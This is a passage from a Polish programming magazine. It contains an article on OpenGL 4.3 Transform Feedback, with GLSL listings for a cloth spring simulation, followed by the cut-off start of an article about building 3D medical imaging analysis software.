wejściowego następuje zamiana buforów: wejściowego z wyjściowym oraz 
wysłana komenda wymuszająca kolejny przebieg przetwarzania. W ten spo-
sób dane, raz wysłane do pamięci VRAM karty graficznej, będą ciągle zastępo-
wane nowymi bez konieczności ingerencji głównego procesora w zawartość 
pamięci VRAM.

Mechanizm TFBK zalicza się do statycznych elementów architektury 

OpenGL. Jego funkcjonowanie jest kontrolowane tylko przy użyciu zmien-
nych maszyny stanu, natomiast nie ogranicza to w żaden sposób jego możli-
wości. OpenGL posiada dużo ustawień, które pozwalają dostosować sposób 
jego działania do wymagań programisty. Sposób jego wykorzystania w dużej 
mierze zależy od aktualnej konfiguracji potoku przetwarzającego. W danym 
momencie tylko jeden procesor geometrii może przesyłać dane poprzez 
magistralę TFBK do bufora zewnętrznego. Natomiast tylko ostatni jest bez-
pośrednio z nią połączony. Oznacza to, że jeśli w potoku graficznym znajduje 
się tylko procesor wierzchołków VS, będzie on bezpośrednio połączony z bu-
forem zewnętrznym mechanizmu TFBK. Jeżeli natomiast włączony zostanie 
dodatkowo procesor geometrii Geometry Shader, to będzie bezpośrednio 
połączony z buforem zewnętrznym, a bezpośrednie powiązanie Vertex Sha-
der z mechanizmem TFBK przestanie istnieć. Gdy uruchomimy dodatkowo 
procesor Tesselation Shader, w dalszym ciągu bezpośrednio z mechanizmem 
TFBK będzie połączony procesor Geometry Shader. Jest to spowodowa-
ne kolejnością, w jakiej występują poszczególne procesory w architekturze 
OpenGL (Rysunek 1). 

Włączenie funkcji TFBK nie jest jednoznaczne z przekierowaniem strumie-

nia danych tylko do bufora zewnętrznego. Efekt działania takiego algorytmu 
można wyświetlić na ekranie, jeśli nie zostanie to zablokowane poprzez wy-
wołanie polecenia: 

glEnable

(

GL_RASTERIZER_DISCARD

);

Przetwarzanie geometrii przy pomo-

cy mechanizmu Transform Feedback 

OpenGL 4.3

Architektura OpenGL od początku swojego istnienia ulega ciągłym modyfikacjom. 
Wraz z kolejnymi wersjami standardu pojawiają się nowe możliwości przetwarzania 
zarówno geometrii, jak i obrazu. Siłę standardu można zawdzięczyć wielu elementom 
architektury. Jednak bardzo istotny wpływ na jego popularność miało zunifikowanie 
formatu danych wyjściowych oraz danych wejściowych dla każdego etapu przetwarza-
nia. Pozwoliło to na projektowanie algorytmów, w których wynik poprzednich obliczeń 
służy jako źródło dla następnych. Rekurencyjny charakter architektury OpenGL jest do-
stępny zarówno po stronie procesora obrazu Fragment Shader (FS), jak i procesorów 
geometrii: Vertex Shader (VS), Tesselation Shader (TS) oraz Geometry Shader (GS).

Powoduje ono całkowite zablokowanie przesyłania geometrii do mechani-
zmu odpowiedzialnego za rasteryzację geometrii. W efekcie program Frag-
ment Shader nie jest uruchamiany.

glDisable

(

GL_RASTERIZER_DISCARD

);

Wywołanie powyższego polecenia przywraca normalny przepływ danych z 
części przetwarzającej geometrię do elementów potoku graficznego odpo-
wiedzialnych za przetwarzanie obrazu.

Do poprawnego funkcjonowania mechanizmu TFBK niezbędne jest zdefi-

niowanie zmiennych oznaczonych kwalifikatorem 

out wewnątrz ostatniego 

programu przetwarzających geometrię. Pozostałe programy również wymaga-
ją występowania takich zmiennych (poprawna komunikacja w potoku), jednak 
z perspektywy działania TFBK nie są one istotne. Dowiązanie magistrali TFBK 
do wyjścia Shadera następuje poprzez wywołanie polecenia, którego jednym 
z parametrów jest tablica z nazwami zmiennych 

varying. Tylko dane okre-

ślonych zmiennych zostaną przekierowane do bufora Transform Feedback 
Buffer. Zmienne, które zostały przekierowane tylko do bufora TFBK, mogą być 
rozpoznane przez sterownik OpenGL jako nieaktywne. W związku z tym należy 
każdorazowo po wywołaniu poniższego polecenia uruchomić proces łączenia 
programu cieniującego przy pomocy procedury 

glLinkProgram(program).

void

 

glTransformFeedbackVaryings

(

GLuint

 program, 

GLsizei

 count, 

const

 

GLchar

 * 

const

 

* varying, 

GLenum

 bufferMode

);

Bardzo istotnym elementem jest określenie ostatniego parametru 

buffer-

Mode. Jego wartość zależy od sposobu, w jaki przygotowane są dane wejściowe 
do programu cieniującego geometrię VS. Oczywiście jest to wymagane tylko w 
przypadku, gdy program będzie działał na zasadzie symulacji. W innym przy-
padku nie ma konieczności dokładnego dopasowania buforów wejściowego 
z wyjściowym.  Możliwe są dwie wartości zaprezentowane w poniższej tabeli.

GL_SEPARATE_ATTRIBS

Każdy atrybut wysyłany jest do osobne-
go bufora TFBK

GL_INTERLEAVED_ATTRIBS  Wszystkie atrybuty zapisywane są w 

jednym buforze TFBK

Tabela 1. Możliwe wartości parametru bufferMode

background image

23

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

Drugim istotnym elementem uruchamiania TFBK, po ustaleniu zmien-

nych, jakie mają zostać zapisywane, jest określenie miejsca, do którego należy 
je wysłać. Podany poniżej przykład prezentuje trzy możliwe konfiguracje (Li-
sting 1). Przez wybranie polecenia: a) uzyskujemy możliwość zapisania tylko 
jednego atrybutu dla parametru 

bufferMode = GL_SEPARATE_ATTRIBS, 

natomiast dla drugiego parametru 

GL_INTERLEAVED_ATTRIBS  ilość atry-

butów jest ograniczona przez możliwości karty graficznej, sterownika oraz 
wersji biblioteki OpenGL. 

W każdym z trzech przypadków schemat postępowania jest podobny. 

W pierwszej kolejności należy uzyskać dostęp do zasobu karty graficznej 
poprzez wygenerowanie bufora. Następnie utworzyć dowiązanie uzyskane-
go zasobu do punktu dowiązań 

GL_TARNSFORM_FEEDBACK_BUFFER. Osta-

tecznie rezerwujemy wymagany obszar pamięci VRAM (Listing 1). Wybierając 
procedurę wiązania zasobu z miejscem na zasób TFBK, należy kierować się 
wymaganiami danego algorytmu. Wszystkie trzy procedury działają podob-
nie, natomiast różnią się przede wszystkim elastycznością konfiguracji. Naj-
więcej możliwości oferuje procedura c), dzięki której otrzymujemy możliwość 
dowiązania jednego bufora do wszystkich punktów dowiązania TFBK. 

Listing 1. Przygotowanie bufora VBO oraz dowiązanie do punktu 
dowiązań TFBK

GLuint

 buffer; 

glGenBuffers

(1, &buffer);

a. glBindBuffer

(

GL_TRANSFORM_FEEDBACK_BUFFER

, buffer);

b. glBindBufferBase

(

GL_TRANSFORM_FEEDBACK_BUFFER

, index, buffer); 

c. glBindBufferRange

(

GL_TRANSFORM_FEEDBACK_BUFFER

, index,

buffer, offset, size); 

glBufferData

(

GL_TRANSFORM_FEEDBACK_BUFFER

, size, 

NULL

GL_DYNAMIC_COPY

);

Rysunek 2. Schemat przedstawiający wycinek kontekstu graficznego, odpowie-

dzialnego za przechowywanie informacji o konfiguracji mechanizmu Transform 

FeedBack – buforach danych VBO dowiązanych do TFBK

W ogólności, dostępny jest tylko jeden bieżący punkt dowiązania TFBK (Rysu-
nek 2). Oznacza to, że w danym momencie możemy mieć dostęp, z poziomu 

Rysunek 1. Schemat przepływu danych z zaznaczeniem kierunków ich przepływu, dla podstawowo skonfigurowanego potoku graficznego (VS, GS, FS). Na schema-

cie zostały przedstawione możliwe scenariusze przepływu danych dla pojedynczego przebiegu PASS N

background image

24

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GRAFIKI

aplikacji, do ogólnego punktu dowiązania. W celu uzyskania dostępu do bu-
forów dowiązanych w punktach od 1 do N, należy każdorazowo wykorzystać 
procedurę b) lub c) przedstawioną na Listingu 1. Jej użycie spowoduje dowią-
zanie bufora do konkretnego punktu oraz do ogólnego punktu dowiązania. 
Należy wziąć ten fakt pod uwagę, gdyż nie ma fizycznej możliwości odniesie-
nia się do konkretnych punktów dowiązania przy pomocy funkcji 

glBuffer-

Data() oraz glCopyBufferSubData().

Proces przechwytywania danych rozpoczyna się po uruchomieniu pro-

cedury rysującej, pod warunkiem, że występuje ona pomiędzy poleceniami 
kontrolującymi pracę mechanizmu TFBK (Listing 2).

Przechwytywanie można dowolnie zatrzymywać oraz wznawiać, nie nale-

ży jednak w trakcie jego działania zmieniać dowiązania buforów. 

Listing 2. Funkcje kontrolujące pracę mechanizmu TFBK

void 

glBeginTransformFeedback

(

GLenum 

primitiveMode);

void 

glResumeTransformFeedback

();

void 

glPauseTransformFeedback

();

void 

glEndTransformFeedback

();

Parametr 

primitiveMode określa typ prymitywu graficznego, dozwolone 

są trzy podstawowe kształty graficzne. Każdemu z nich odpowiada grupa 
bardziej szczegółowych prymitywów, które powinny pojawić się na wejściu 
programu przetwarzającego wierzchołki (Tabela 2).

GL_POINTS 

GL_POINTS

GL_LINES 

GL_LINES, 

GL_LINE_STRIP, 

GL_LINE_LOOP

GL_TRIANGLES 

GL_TRIANGLES,

GL_TRIANGLE_STRIP,

GL_TRIANGLE_FAN

Tabela 2. Wartości parametru primitiveMode

Mechanizm TFBK może być przede wszystkim stosowany w animacjach, któ-
re wymagają ciągłego obliczania nowej pozycji czy orientacji na podstawie 
poprzednich danych. Innym ciekawym zastosowaniem tego rozwiązania jest 
próba symulowania cząsteczek bądź ciał sprężystych.  Na potrzeby artykułu 
powstała aplikacja, która prezentuje możliwości TFBK. Symulowana tkanina 
jest gęstą siatką wierzchołków powiązanych z sobą wiązaniami sprężystymi. 
Każdy z wierzchołków posiada pozycję, przypisaną masę oraz prędkość. Po-
zycja oraz prędkość są na bieżąco obliczane oraz poprzez TFBK zapisywane w 
buforze zewnętrznym. Po zamianie buforów odczytywane są nowe wartości 
pozycji oraz prędkości. Na ich podstawie liczone są nowe dane z uwzględnie-
niem sił działających na każdy z wierzchołków. Algorytm składa się z dwóch 
odrębnych przebiegów cieniujących. Pierwszy wykonuje obliczenia symu-
lowanego obiektu, natomiast drugi służy tylko do wyświetlenia aktualnego 
stanu symulacji. 

Algorytm do poprawnego działania wymaga wiedzy o sąsiadujących 

wierzchołkach (Rysunek 3). Aby uzyskać te dane, należy utworzyć mapę po-
łączeń, w postaci listy cztero-elementowych wektorów. Każdy element z listy 
odpowiada każdemu symulowanemu wierzchołkowi, natomiast poszczegól-
ne wartości wektora określają wierzchołki, znajdujące się w relacji sąsiadu-
jącej, vec4(lewo, góra, prawo, dół). Wierzchołki, dla których nie są obliczane 
przesunięcia, ze względu na siłę, są wprawiane w ruch, który wprowadza 
cały układ w stan niestabilności (-1,-1,-1,-1). Na każdy z wierzchołków działa 
siła związana z grawitacją oraz masą wierzchołka. Dodatkowo występuje siła 
sprężystości, która wynika z niestabilności stanu, w jakim znajdują się cztery 
sąsiednie wierzchołki. W symulacji występuje również siła kompensująca stan 
niestabilności, która ogranicza stan niestabilny układu.

Rysunek 3. Geometria siatki ciała sprężystego oraz relacja sąsiedztwa między 

wierzchołkami

Listing 3. Vertex Shader (przebieg symulacji). Deklaracja zmiennych, 
danych wejściowych do programu przetwarzającego wierzchołki

// akutalna pozycja oraz masa wierzchołka

layout

(location = 

0

in

 

vec4

 point_position_mass;

// aktualna prędkość wierzchołka

layout

(location = 

1

in

 

vec3

 point_velocity;

// sąsiedztwo wierzchołka

layout

(location = 

2

in

 

ivec4

 point_connections;

// aktualne pozycje wszystkich wierzchołków.

uniform

 

samplerBuffer

 tex_point_position_mass;

Listing 4. Vertex Shader (przebieg symulacji). Deklaracja zmien-
nych, danych wyjściowych, zapisywanych do bufora zewnętrznego 
przy pomocy mechanizmu TFBK

out

 

vec4

 tfbk_point_position_mass; 

// nowa pozycja wierzchołka

out

 

vec3

 tfbk_point_velocity; 

// nowa prędkość wierzchołka

Listing 5. Vertex Shader (przebieg symulacji). Deklaracja, definicja 
zmiennych danych sterujących pracą symulowanego układu

uniform

 

float

 t = 

0.07f

// stała czasowa t

uniform

 

float

 angle; 

// wartość kąta animacji

// kierunek wektora grawitacji

uniform

 

vec3

 gravity_dir = 

vec3

(

0.0f

1.0f

0.0f

); 

uniform

 

float

 gravity_scale = 

0.08f

// wartość grawitacji

uniform

 

float

 spring_k = 

7.1f

// współczynnik sprężystości

uniform

 

float

 spring_att = 

2.8f

// współczynnik tłumienia

uniform

 

float

 spring_rest = 

0.88f

// współczynnik spoczynku

Symulację można kontrolować poprzez zmianę wartości zmiennych progra-
mu Vertex Shader (Listing 5). Wartości są na bieżąco wysyłane do programu 
cieniującego wierzchołki. Umożliwiają zmianę siły grawitacji, właściwości 
sprężyste układu oraz masę cząstek.

Listing 6. Vertex Shader  (przebieg symulacji). Główna funkcja 
realizująca symulację fizyczną

void

 main(

void

)

{

// aktualna pozycja punktu

vec3

 p = point_position_mass.xyz; 

// aktualna masa punktu

float

 m = point_position_mass.w; 

// aktualna prędkość punktu

vec3

 u = point_velocity; 

background image

25

/ www.programistamag.pl /

PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3

// wektor grawitacji

vec3

 g = gravity_dir * gravity_scale; 

// siła związana z masą oraz grawitacją kompensowana tłumieniem

vec3

 F = g * m - spring_att * u; 

bool

 fixed_node = 

true

;

for

(

int

 i = 

0

; i < 

4

; i++){

if

(point_connections[i] != -

1

){

// pozycja sąsiedniego wierzchołka

vec3

 q = 

texelFetch

(tex_point_position_mass, point_

connections[i]).xyz;

// odległość między wierzchołkami

vec3

 d = q - p; 

float

 x = 

length

(d);

// wypadkowa sił działających na wierzchołek związana z 

// niestabilnością układu sprężystego.

F += -spring_k * (spring_rest - x) * 

normalize

(d); 

fixed_node = 

false

;

}

}

if

(fixed_node){

F = 

vec3

(

0.0f

); 

p.x += 

cos

(angle) * 

0.007f

;

}

// przyspieszenie związane z wypadkową siłą działającą na masę punktu

vec3

 a = F / m; 

// całkowite przesunięcie związane z siłą oraz masą

vec3

 s = u * t + 

0.5f

 * a * t * t; 

// nowa prędkość wierzchołka

vec3

 new_v = u + a * t; 

// nowa pozycja wierzchołka

vec3

 new_p = p + s; 

// wysłanie nowej pozycji oraz masy wierzchołka do TFBK

tfbk_point_position_mass = 

vec4

(new_p, m);

// wysłanie nowej prędkości wierzchołka do TFBK

tfbk_point_velocity = new_v;

}

Listing 7. Fragment Shader (przebieg symulacji). Program cienio-
wania fragmentu

#version

 

430

 core

out

 

vec4

 color;

void

 main(

void

)

{

color = 

vec4

(

1.0f

1.0f

1.0f

1.0f

);

}

Program cieniujący fragmenty nie wpływa na przebieg symulacji (Listing 7), 
musi natomiast występować w celu poprawnego działania potoku graficzne-
go. Jego działanie nie jest widoczne na ekranie, ponieważ zostało to wcześniej 
zablokowane przy pomocy zmiennej stanu: 

GL_RASTERIZER_DISCARD.

Piotr Sydow

piotr.sydow.gm@gmail.com

Absolwent Informatyki na wydziale Elektroniki, Telekomunikacji i Informatyki Politechniki 
Gdańskiej. Zawodowo skoncentrowany na architekturze, programowaniu silników graficz-
nych oraz GPU. W wolnym czasie tworzy oprogramowanie open-source oraz urządzenia i 
systemy elektroniczne. W GLSL programuje od 5 lat.

Karol Sobiesiak i Piotr Sydow są w trakcie prac 
nad  książką  „Shadery: Zaawansowane pro-
gramowanie w GLSL
”.  Poruszone  w  niej  te-
maty będą związane z programowaniem karty 
graficznej oraz grafiką 3d. W ciekawy sposób 
zostaną  przedstawione  nowoczesne  techniki 
wizualizacji oraz programowania GPU zarów-
no  od  strony  praktycznej,  jak  i  teoretycznej, 
opierając się na najnowszym standardzie trój-
wymiarowej grafiki OpenGL 4.3 (4.4).

Rysunek 4. Ilustracja efektu działania algorytmu na siatkę ciała sprężystego. 

Źródło: 

https://github.com/kalist/gl4.3_transform_feedback_springs_1

Do poprawnego uruchomienia aplikacji mogą być wymagane biblioteki:

 

» QT 5.2.0, 

 

» OpenGL 4.3, 

 

» GLEW

Na podstawie: [1] Graham Sellers, „OpenGL Superbible: Comprehensive Tuto-
rial and Reference”, Addison Wesley, 6th edition (31 July 2013).

reklama

background image

26

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GRAFIKI

Michał Chlebiej

POCZĄTKI

Mój pierwszy obraz medyczny, z którym się zetknąłem około 2000 r., był po-
jedynczym przekrojem danych tomografii komputerowej głowy. Był to plik o 
wielkości pół megabajta, o którym koledzy powiedzieli mi tylko, że rozmiar 
danych to 512×512, 2 bajty na piksel i zaczynają sie po '0x7fe0' (później do-
wiedziałem się, czym jest format DICOM i jak dużo informacji może on za-
wierać oprócz samych intensywności pikseli). Napisałem prosty program w 
środowisku C++ Builder, który znalazł magiczną frazę, przeczytał plik do koń-
ca i umieścił w tablicy, a następnie jakoś wyświetlił obraz. Wyświetlenie pole-
gało na przeskalowaniu zakresu danych (0-4096) na skalę 256 intensywności 
i zobrazowaniu danych w skali szarości. To był wielki sukces – przekrój głowy 
prawdziwego człowieka wylądował na moim ekranie. Kilka dni później do-
tarł do mnie zestaw kolejnych warstw poprzecznych z tego samego badania. 
Eksploracja przestrzeni trójwymiarowej zakończyła się na dodaniu suwaka 
pod wyświetlanym obrazkiem, który odsłaniał przed użytkownikiem kolejne 

struktury anatomiczne mózgowia. Z takimi obrazami do niedawna pracowało 
większość lekarzy – mimo iż informacja zawarta w danych jest przestrzenna, z 
jakiegoś powodu lekarze woleli oglądać jedynie płaskie projekcje. Jedyne pa-
rametry, którymi manipulowali, były to tzw. „okno i poziom”, które przekładały 
się na progowanie wartości minimalnej i maksymalnej, do których rozciągana 
była paleta 256 odcieni szarości. Trójwymiar nie był aż tak kuszący, bo badania 
w polskich szpitalach wykonywane były na starszych modelach tomografów 
przeprowadzających badanie wolno, przy okazji serwując dużą dawkę szko-
dliwego promieniowania RTG. Radiolodzy wykonywali badania głowy bardzo 
wybiórczo, wykonując jedynie kilkanaście projekcji poprzecznych na całą 
głowę. Z takich danych zbudowanie trójwymiarowej bryły nie było zbytnio 
ciekawe ani sensowne. Niedługo później dostałem możliwość pracy z danymi 
pochodzącymi z ośrodków badawczych z Niemiec. Nowoczesne tomografy 
dostarczyły obraz głowy i miednicy tego samego pacjenta zawierający ponad 
setkę przekrojów poprzecznych. Taka ilość nie tylko zachęcała, ale wręcz zmu-
szała do przejścia do pracy w przestrzeni trójwymiarowej. 

Budowa oprogramowania do anali-

zy i przetwarzania trójwymiarowych 

obrazów medycznych

Obrazy medyczne stanowią niewyczerpalne źródło inspiracji naukowych. Artykuł 
ten jest próbą krótkiej opowieści o mojej niekończącej się przygodzie z takimi 
obrazami oraz o tym, jak próbowałem i wciąż próbuję zamknąć różne pomysły i 
idee w jednym dedykowanym oprogramowaniu. Oprogramowanie to wykorzysta-
ne zostało w projekcie „Interactive fusion system of multiple 3D data as a surgical 
preoperative strategy and educational tool“ tworzonym wspólnie z mgr Andrzejem 
Rutkowskim oraz naukowcami z Wydziału Nauk Medycznych Uniwersytetu War-
mińsko-Mazurskiego, które otrzymało główną nagrodę na targach wynalazczości w 
Brukseli w 2013 roku.

Rysunek 1. Pierwsza wersja platformy

background image

27

/ www.programistamag.pl /

BUDOWA OPROGRAMOWANIA DO ANALIZY TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH

PIERWSZA PLATFORMA

Z tymi niespotykanymi w Polsce danymi zacząłem pracować na stażu w 
Niemczech, gdzie miałem przygotować materiał do pracy magisterskiej. 
Cel wydawał się mnie wtedy przerastać – wydobyć dane 3D szczęki i talerza 
kości biodrowej, a następnie przy pomocy przygotowanych narzędzi prze-
prowadzić wirtualny zabieg zaplanowania operacji przeszczepu kostnego 
fragmentu kości z miednicy do żuchwy. Wybór narzędzi, na jakie zostałem 
wtedy nakierowany, towarzyszy mi do dziś. Język programowania C++. Inter-
fejs użytkownika – miał być szybki w implementacji oraz dostępny na różne 
platformy – wybór padł na bibliotekę QT. Trójwymiar – tu były spore wahania 
– czy wybrać czysty OpenGL, czy może wykorzystać nakładkę, ze znacznie 
rozszerzoną funkcjonalnością wizualizacyjną. Wybór padł na bibliotekę VTK, 
którą w prosty sposób można było zintegrować z GUI biblioteki QT. Wybór 
okazał się świetny – dynamiczne interfejsy budowało się bez użycia kreato-
rów GUI niezwykle szybko, a pomysły w trójwymiarze VTK realizował za po-
mocą prostego i czytelnego kodu.

Przygotowane i przetestowane oprogramowanie działało poprawnie (Ry-

sunek 1), ale zostało zbudowane bez gruntownego przemyślenia i solidnego 
zaprojektowania. W trakcie pisania oprogramowania okazało się, że szybko 
wyszliśmy od dwuwymiarowych danych źródłowych i potrzebne są dane trój-
wymiarowe dwojakiego rodzaju: oryginalne wolumeny 3D oraz powierzch-
nie reprezentujące wyodrębnione obiekty. Wolumeny 3D należało przecho-
wywać w tablicach jednowymiarowych i wyświetlać za pomocą renderingu 
wolumetrycznego, natomiast powierzchniowe siatki trójkątne z posegmen-
towanych danych uzyskiwane były za pomocą algorytmu Marching Cubes i 
po wygładzeniu wyświetlane. W pierwszej wersji stworzone zostały 3 okna 3D 
– po jednym dla każdego rodzaju zadania – rednering powierzchniowy i edy-
cja danych siatkowych, dopasowywanie siatek oraz rendering wokseli (trój-
wymiarowych pikseli). Interakcja odbywała się za pomocą mało wygodnych 
suwaków w globalnym (nie związanym z ekranem układem współrzędnych). 
Poza tym program pisany był „prawie obiektowo", niby były obiekty, ale i tak 
każda próba rozszerzenia funkcjonalności kodu kończyła się pisaniem czegoś 
od zera (np. kolejnego okna 3D do innej funkcjonalności). Funkcjonalność na 

tamten czas zamykała się w: wczytaniu danych w formacie DICOM (własny re-
ader formatu DICOM i interpretacji serii), oczyszczeniu danych wolumetrycz-
nych (filtracja medianą ważoną), segmentacji – siermiężny rozrost obszaru z 
progami globalnymi, wygenerowania powierzchni, oraz ich postprocessingu 
(dzięki VTK), dopasowaniu powierzchni – algorytm Levenberg-Marquardt z 
popularnego  Numerical Recipes in C i szereg drobnych narzędzi pozwalają-
cych na przeniesienie wykonanych operacji geometrycznych z danych po-
wierzchniowych na dane wolumetryczne. Przykładowe elementy pokazane 
na Rysunku 1.

Niestety, źle zaprojektowane (a właściwie wcale nie projektowane, tylko 

pisane „na hura") oprogramowanie musiało szybko zakończyć swój żywot. 
Trzeba było je napisać od początku zgodnie z góry ustalonymi i przemyśla-
nymi zasadami.

PLATFORMA, WERSJA 2.0

W 2003 roku projekt został gruntownie przebudowany. Wiadomo było już, że: 
dane wejściowe i wyjściowe mogą być zarówno siatkowe, jak i wolumetrycz-
ne, danych wczytanych do aplikacji może być dużo zarówno jednego, jak i 
drugiego rodzaju, operacje będą mogły być wykonywane na dowolnej kom-
binacji tychże danych, interakcja wzajemna mogłaby się odbywać, równocze-
śnie używając widoków 2D (wzajemnie prostopadłych przekrojów danych 
wolumetrycznych), jak i danych wolumetrycznych oraz zanurzonych w nich 
siatkach trójkątnych, GUI musi umożliwiać dowolną rozbudowę (wiele, wiele 
nowych zakładek), program musi być budowany w pełni obiektowo, projekt 
musi być przystosowany do modyfikacji.

Tego ostatniego punktu oczywiście nie dało się zapewnić, ale trzeba było 

przemyśleć jak najwięcej już na etapie projektowania. Znałem wtedy jeden 
z projektów, który miał podobne cele i był tworzony przez grupę programi-
stów. Niestety zaplanowano aplikację tak bardzo ogólnie i tak bardzo rozsze-
rzalnie, że program w pierwszej wersji stanowił już ogromną i złożoną platfor-
mę, nie dając praktycznie żadnej uchwytnej funkcjonalności. Należało zatem 
zachować prostotę, szczególnie biorąc pod uwagę fakt, że rozwijany będzie 
tylko przez jedną osobę. 

Rysunek 2. Druga – aktualna wersja platformy

background image

28

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GRAFIKI

Wybór narzędzi się praktycznie nie zmienił, a jedynie uaktualniły się wer-

sje bibliotek. Po przebudowie wykonanej ponad 10 lat temu aplikacja trzyma 
się dzielnie, przyjmując wszystkie nowe pomysły bez większego ingerowa-
nia w rdzeń platformy. Dane zarówno wolumenów, jak i siatek trzymane są 
w obiektach przechowujących zarówno ich indywidualne cechy, jak również 
zależności z innymi obiektami danych. Dane trzymane są w listach (osobne li-
sty dla siatek i wolumenów), ale za pomocą bardzo prostego, dobudowanego 
później mechanizmu można je agregować w grupy i operować na grupach 
obiektów (filtracje, przekształcenia geometryczne itp.).

MODYFIKACJE

Prawdziwym testem architektury projektu jest jego modyfikowanie i rozwój 
– nowe podejście do danych, albo wręcz nowy typ danych. Nowe typy da-
nych pojawiały się kilkakrotnie i to one stanowiły duże wyzwania. Na począ-
tek przyszły dane RGB – dane, w których kolor nie był opisywany jedynie za 
pomocą intensywności reprezentowanej przez dwa bajty, tym razem doszły 
dwie nowe składowe. Dane z projektu Visible Human Project (VHP) zawierały 
oprócz pełnych skanów CT i MRI także serię fotografii o wysokiej rozdziel-
czości – skany poprzeczne wykonane zostały na podstawie prawdziwych 
widoków poprzecznych zamrożonych w bryle lodu zwłok. Kolejne warstwy 
anatomii były fizycznie zestrugiwane. Rozwiązanie tymczasowe zastosowane 
dla takich danych okazało się być trwałym. W obiekcie RawData opisującym 
dane wolumetryczne (za pomocą parametrów odczytanych  z plików DICOM) 
znajdowała się od zawsze tablica danych typu unsigned short. W wersji „kolo-
rowej" dodane zostały dwie tablice typu unsigned char odpowiadające skła-
dowym G i B. I tak, podstawowe funkcjonalności zawsze działały na takich da-
nych – przekształcając jedynie dane z kanału R. Natomiast jeśli była potrzeba 
wykorzystania dodatkowej informacji, filtr mógł być napisany specjalnie dla 
pozostałych kanałów. Można powiedzieć, że jest to typowa zmiana „na chwil-
kę", ale o dziwo trzyma się dzielnie i, co ważniejsze, spełnia w pełni swoje za-
danie. Można w tej chwili wczytać jako dane RawData sekwencję dowolnych 
plików *.jpg , które zostaną przypisane do kolejnych warstw wolumenu i tak 
też przechowywane. Rysunek 3 prezentuje dwa wzajemnie prostopadłe prze-
kroje danych RGB z projektu VHP, na które zostały nałożone interaktywne pola 
do oglądania dopasowanych danych CT, MRI-T2 oraz MRI-T2. 

CT  (ang.  Computed Tomography)  –  urządzenie  do  obrazowania  wolume-
trycznego  wykorzystujące  promieniowanie  RTG.  Im  tkanka  ma  większą 
gęstość,  tym  silniej  absorbuje  promieniowanie. Wartości  osłabienia  pro-
mieniowania przekładają się na wartości intensywności końcowego obra-
zu. CT wykorzystywane najczęściej jest do obrazowania struktur kostnych.

MRI (ang. Magnetic Resonance Imaging) – urządzenie wykorzystujące 

zjawisko  magnetycznego  rezonansu  jądrowego  atomów  wodoru.  MRI 
wykorzystywane jest głównie do obrazowania tkanek miękkich – struktur 
zawierających dużo wody. 

Zarówno CT, jak i MRI po podaniu środka kontrastującego umożliwiają 

obrazowanie naczyń krwionośnych.

Rysunek 3. Dane RGB

Innym typem danych, z jakim przyszło mi się zmierzyć, a który zupełnie 

nie został przewidziany podczas projektowania odnowionej wersji oprogra-
mowania, były siatki wolumetryczne, czyli trójwymiarowe tablice wokseli 
(elementów przestrzeni odpowiadających pikselom w grafice 2D). Celem mo-
jej pracy było wtedy przygotowywanie danych do symulacji fizycznych przy 
pomocy metody modelowania FEM (ang. Finite Element Method). Dane z mo-
jej aplikacji miały być dostarczane do pakietu Marc Mentat, który na wejściu 
przyjmował bardzo rzadkie (ang. decimated mesh) siatki trójkątne zamknię-
tych siatek (bez dziur). Siatki te następnie były przez oprogramowanie symu-
lacyjne przetwarzane na siatki wolumetryczne – wnętrze wypełniane było 
ostrosłupami. Po tym kroku użytkownik oznaczał części siatek, przypisywał 
parametry materiałowe, ustalał warunki brzegowe oraz parametry startowe 
(np. działające siły) symulacji. Problem pojawił się, gdy chciałem umieścić w 
takim modelu obiekt niestandardowy. Chodziło o symulację wzrostu nowo-
tworu o charakterystyce sferycznej. Pomysł był taki, aby umieścić wewnątrz 
siatki małą kulkę i pompować ją (zwiększając ciśnienie w jej wnętrzu) podczas 
symulacji. Efekt został osiągnięty poprzez wygenerowanie danych wstępnych 
w pakiecie Marc Mentat, eksport danych w formacie NASTRAN, zaimporto-
wanie danych do mojej aplikacji, umieszczenie wewnątrz siatki trójkątnej 
odpowiadającej powierzchni bardzo małej sfery, a następnie połączeniu 
wszystkich trójkątów ze środkiem sfery (tworząc ostrosłupy), tak by uzyskać 
obiekt wolumetryczny. Efekt został wyeksportowany w formacie NASTRAN i 
zaimportowany do pakietu symulacyjnego. Trik prosty, ale bardzo skuteczny 
(por. Rysunek 4, górne obrazy). Ciekawostką było dostosowanie tego pomy-
słu do prostej symulacji wszczepienia implantu w kobiecą pierś. Tym razem 
zamiast kuli, wykorzystana została bardzo zdeformowana elipsoida – spłasz-
czony dysk, którego środek został przemieszczony tak, aby podczas symulacji 
„pompowania" uzyskał on kształt prawdziwego implantu. Wirtualna operacja 
dała ciekawe efekty (por. Rysunek 4, dolne obrazy).

Rysunek 4. Wszczepianie wirtualnego obiektu do symulacji wzrostu nowotworu 

(górne obrazy) oraz implantów (dolne obrazy)

Kolejnym ciekawym wyzwaniem wymagającym nowego podejścia do da-
nych była praca z sekwencjami danych 2D. Jeśli są to dane zmienne w cza-
sie (np. obraz ultrasonograficzny), dane takie nazywa się często danymi 2.5 
wymiarowymi. 3D zarezerwowane jest dla trzech wymiarów przestrzeni, na-
tomiast czas w literaturze przedmiotu zasłużył jedynie na połówkę wymiaru. 
Aby obsłużyć takie dane, wystarczyło potraktować je jako kolejne warstwy 
zbioru wolumetrycznego. Wymiar  odpowiadał wymiarowi czasowemu, nato-
miast odległość pomiędzy kolejnymi warstwami stanowiła krok czasowy wy-
rażany w sekundach. Oprócz danych medycznych to samo podejście zostało 
wykorzystane w dwóch nie medycznych projektach – stabilizacja animacji, 
oraz rekonstrukcja głębi ostrości na podstawie częściowo ostrych zdjęć. W 
pierwszym projekcie wczytywano serię fotografii RGB, wykonanych ręcz-
nie dookoła obiektu, a następnie przy pomocy dopasowywania kolejnych 
warstw do siebie uzyskiwany był płynny ruch, który docelowo posłużył do 

background image

29

/ www.programistamag.pl /

BUDOWA OPROGRAMOWANIA DO ANALIZY TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH

rekonstrukcji 3D obiektu (Rysunek 5). Drugi projekt, również fotograficzny, 
pracował z serią zdjęć (tym razem wykonanych z użyciem statywu) z bardzo 
